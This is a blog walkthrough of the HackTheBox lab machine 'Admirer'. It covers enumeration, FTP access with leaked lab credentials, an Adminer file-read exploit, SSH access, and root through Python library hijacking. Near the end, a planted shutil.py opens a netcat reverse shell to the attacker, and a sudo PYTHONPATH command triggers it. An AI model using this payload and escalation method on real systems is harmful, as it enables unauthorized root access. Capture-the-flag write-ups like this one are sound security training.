HackTheBox - Admirer

Walkthrough of Admirer box on Hackthebox.

September 25, 2020 - 11 minute read -

HTB Admirer

HTB - Admirer

IP -


This box was an easy level linux box on HTB created by polarbearer and GibParadox, it started with finding a hidden directory in robots.txt named admin-dir, in which we find two txt files namely contacts.txt and credentials.txt using a gobuster scan with -x txt, then we use ftpuser creds obtained from credentials.txt to login to FTP. FTP server had the old source code of the website and on enumerating it we find a reference to using some open source database management utility, for out box it was adminer. On googling adminer exploits we find a exploit that let us read local files, we use that exploit to read index.php file, which had creds, we can use those creds to ssh as user waldo, root part was fun and it was a Python Library Hijacking.


As always let’s start off with nmap script nmap -sC for default scripts Alright, if it isn’t obvious yet I am a IPPSEC fanboi. Aight, firing up nmap to scan all open ports on the box.

nmap -sC -sV -oA nmap/results

And here is our nmap result

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-24 00:40 IST
Nmap scan report for
Host is up (0.19s latency).
Not shown: 997 closed ports
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.61 seconds

Open services are SSH on port 22, webserver on port 80 and a FTP server on port 21. I checked for Anonymous access on the FTP server but it wasn’t allowed, so I am gonna shift my focus on the webserver.

Enumerating the web server

The site looks like an image gallery.

HTB Admirer

Alright let’s run something on backend and start exploring the website, because we always want to keep some enumeration running while we manually look at that web server Told ya already, I am a ippsec fanboi. So firing up the gobuster scan to find hidden directories, and I am also looking for txt and php files(incase we find some notes or some hidden webpage).

└──╼ $gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -o gobuster_result -t 120

Initial Foothold

During basic enumeration, I found a hidden directory in /robots.txt named /admin-dir but we can’t browse files in it, as the first gobuster scan wasn’t really fruitful so, I ran another gobuster scan in admin-dir directory and searching for txt and php files. Note : robots.txt also had a username "waldo".

└──╼ $gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -o gobuster_result -t 120
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        120
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
2020/09/25 19:53:55 Starting gobuster

And got two files contacts.txt & credentials.txt, contacts.txt had some emails and names and it was a nice rabbit hole, but in credentials.txt we found the ftp user’s credential.

HTB Admirer

ftpuser : %n?4Wz}R$tTF7


As now we have the creds of the FTP user, lets start enumerating that.

└──╼ $ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( ftpuser
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mget *

I simply downloaded all the files in the ftp server to analyse them.

└──╼ $ls -la
total 7168
drwxr-xr-x 1 fumenoid fumenoid     158 Jul 24 03:36 .
drwxr-xr-x 1 fumenoid fumenoid     148 Jul 24 03:46 ..
drwxr-x--- 1 fumenoid fumenoid      34 Jun  7  2019 assets
-rw-r--r-- 1 fumenoid fumenoid    3405 Jul 24 03:16 dump.sql
-rw-r--r-- 1 fumenoid fumenoid 7321600 Jul 24 03:17 html.tar
drwxr-x--- 1 fumenoid fumenoid      22 Dec  3  2019 images
-rw-r----- 1 fumenoid fumenoid    4613 Dec  4  2019 index.php
-rw-r----- 1 fumenoid fumenoid     134 Dec  2  2019 robots.txt
drwxr-x--- 1 fumenoid fumenoid      92 Dec  2  2019 utility-scripts
drwxr-x--- 1 fumenoid fumenoid      54 Dec  2  2019 w4ld0s_s3cr3t_d1r

And it looks like backup of the code running on the webserver, In it there were many rabbit holes and a lot of passwords of mysql database, I tried using them with username waldo to ssh into the server but none of those passwords worked D:

└──╼ $cat db_admin.php 
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  echo "Connected successfully";

  // TODO: Finish implementing this or find a better open source alternative

In this file there is a TODO note, and as db.php is not present on current webserver, I assumed the box has some open source db management utility. After some basic enumeration I figured they are using Adminer, the box name is based on this.

Getting User

I tried the passwords from the ftp directory in the adminer console, that was at but none of them worked D:

HTB Admirer

Then I googled for Adminer’s exploit and reached here, It’s a poc of an exploit that can be used to load local files on the server.

For this we also need to allow remote access on mysql in our machine, I used this blog to do it. Also thanks to pop_eax and kreep for giving me a nudge on this part. Ngl mysql part was a bit annoying.

Now we can use that above exploit to load files, I opened up index.php file in the source code and finally got the creds of the user waldo. waldo : &<h5b~yK3F#{PaPB&dA}{H> Now we can simply use these creds to SSH into the box.

└──╼ $ssh waldo@
waldo@ password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
waldo@admirer:~$ wc -c user.txt 
33 user.txt

Sorry that I didn’t explain this part properly, I didn’t documented this box while initially doing it and I don’t want to solve this box again but I simply followed this blog to setup a remote mysql server and the exploit’s poc to load index.php file which had creds, so I guess writing them again won’t be really helpful.

Rooting the box

Alright, we are on the box as user waldo and we also have his password, so the first thing to check is for sudo perms.

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

Let’s check what perms on /opt/scripts/admin_tasks.sh file.

waldo@admirer:~$ ls -la /opt/scripts/admin_tasks.sh
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 /opt/scripts/admin_tasks.sh

Ah.. we don’t have writeperm on that file D:
Alright, let’s read the code and analyse it.

waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh

    /usr/bin/uptime -p


    /usr/bin/crontab -l

    if [ "$EUID" -eq 0 ]
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
        echo "Insufficient privileges to perform the selected operation."

    if [ "$EUID" -eq 0 ]
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
        echo "Insufficient privileges to perform the selected operation."

    if [ "$EUID" -eq 0 ]
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
        echo "Insufficient privileges to perform the selected operation."

    if [ "$EUID" -eq 0 ]
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
        echo "Insufficient privileges to perform the selected operation."

# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2

    exit 0

# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"

echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2

exit 0

Seems like we can run some simple checks as well as do some basic backup operations, tho intresting part is the web backup, as here we are calling running a python script.

    if [ "$EUID" -eq 0 ]
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &  # A PYTHON SCRIPT 
        echo "Insufficient privileges to perform the selected operation."

On checking that python script, we can see it is importing an additional library named shutil.

waldo@admirer:~$ cat /opt/scripts/backup.py

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Which means we can do a Python library hijacking, here is two blogs, by rastating and a medium blog by klockw3rk that I refered to, to understand the basic concept.

Alright so first I created a fake library named shutil.py with a function make_archive in /tmp directory which had our reverse shell payload.

waldo@admirer:/tmp$ mkdir temp
waldo@admirer:/tmp$ cd temp
waldo@admirer:/tmp/temp$ vi shutil.py
waldo@admirer:/tmp/temp$ cat shutil.py 

def make_archive(x,y,z):
	import os
	os.system("nc 9889 -e /bin/bash")

Starting the nmap listener on local machine rlwrap nc -lvnp 9889. And then execute our admin_tasks.sh script with option 6 but main point is, we need to export pythonpath as pwd i.e /tmp/temp folder so that the script uses our fake shutil library/module.

waldo@admirer:/tmp/temp$ sudo -E PYTHONPATH=$(pwd) /opt/scripts/admin_tasks.sh 

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...

Looking at our rev shell, and yes we got a connection.

└──╼ $rlwrap nc -lvnp 9889
listening on [any] 9889 ...
connect to [] from (UNKNOWN) [] 42894
uid=0(root) gid=0(root) groups=0(root)
cd /root
wc -c root.txt
33 root.txt
Hope you learned something new, if you face any issues / have any query, feel free to contact me on social media.